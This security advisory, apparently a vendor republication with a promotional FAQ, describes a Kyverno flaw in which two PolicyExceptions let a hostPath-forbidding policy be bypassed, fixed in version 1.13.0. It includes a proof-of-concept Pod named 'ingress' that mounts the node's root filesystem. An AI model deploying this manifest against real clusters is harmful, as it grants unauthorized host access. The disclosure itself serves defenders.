GHSA-GG4X-FGG2-H9W9

If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.

Details

The following policy was applied:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-host-path
  annotations:
    policies.kyverno.io/title: Disallow hostPath
    policies.kyverno.io/category: Pod Security Standards (Baseline)
    policies.kyverno.io/severity: medium
    policies.kyverno.io/subject: Pod,Volume
    kyverno.io/kyverno-version: 1.6.0
    kyverno.io/kubernetes-version: "1.22-1.23"
    policies.kyverno.io/description: >-
      HostPath volumes let Pods use host directories and volumes in containers.
      Using host resources can be used to access shared data or escalate privileges
      and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
  validationFailureAction: Enforce
  background: true
  rules:
    - name: host-path
      match:
        any:
        - resources:
            kinds:
              - Pod
      validate:
        message: >-
          HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
        pattern:
          spec:
            =(volumes):
              - X(hostPath): "null"

And two exceptions:

apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        namespaces:
        - luntry
        - tstkyverno
        - examplens

apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception-names
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        names:
        - '*haproxy*'
        - '*ingress*'

Trying to apply such a yaml will result in the expected ban:

apiVersion: v1
kind: Pod
metadata:
  name: mtkpi
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /

However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:

apiVersion: v1
kind: Pod
metadata:
  name: ingress
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /

It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.

The security restrictions can be bypassed.

GHSA-GG4X-FGG2-H9W9 has a CVSS score of 9.0 (Critical). The vector is reachable from an adjacent network, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.13.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-GG4X-FGG2-H9W9? GHSA-GG4X-FGG2-H9W9 is a critical-severity security vulnerability in github.com/kyverno/kyverno (go), affecting versions >= 1.9.0, <= 1.12.7. It is fixed in 1.13.0.
2. How severe is GHSA-GG4X-FGG2-H9W9? GHSA-GG4X-FGG2-H9W9 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/kyverno/kyverno are affected by GHSA-GG4X-FGG2-H9W9? github.com/kyverno/kyverno (go) versions >= 1.9.0, <= 1.12.7 is affected.
4. Is there a fix for GHSA-GG4X-FGG2-H9W9? Yes. GHSA-GG4X-FGG2-H9W9 is fixed in 1.13.0. Upgrade to this version or later.
5. Is GHSA-GG4X-FGG2-H9W9 exploitable, and should I be worried? Whether GHSA-GG4X-FGG2-H9W9 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-GG4X-FGG2-H9W9 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-GG4X-FGG2-H9W9? Upgrade github.com/kyverno/kyverno to 1.13.0 or later.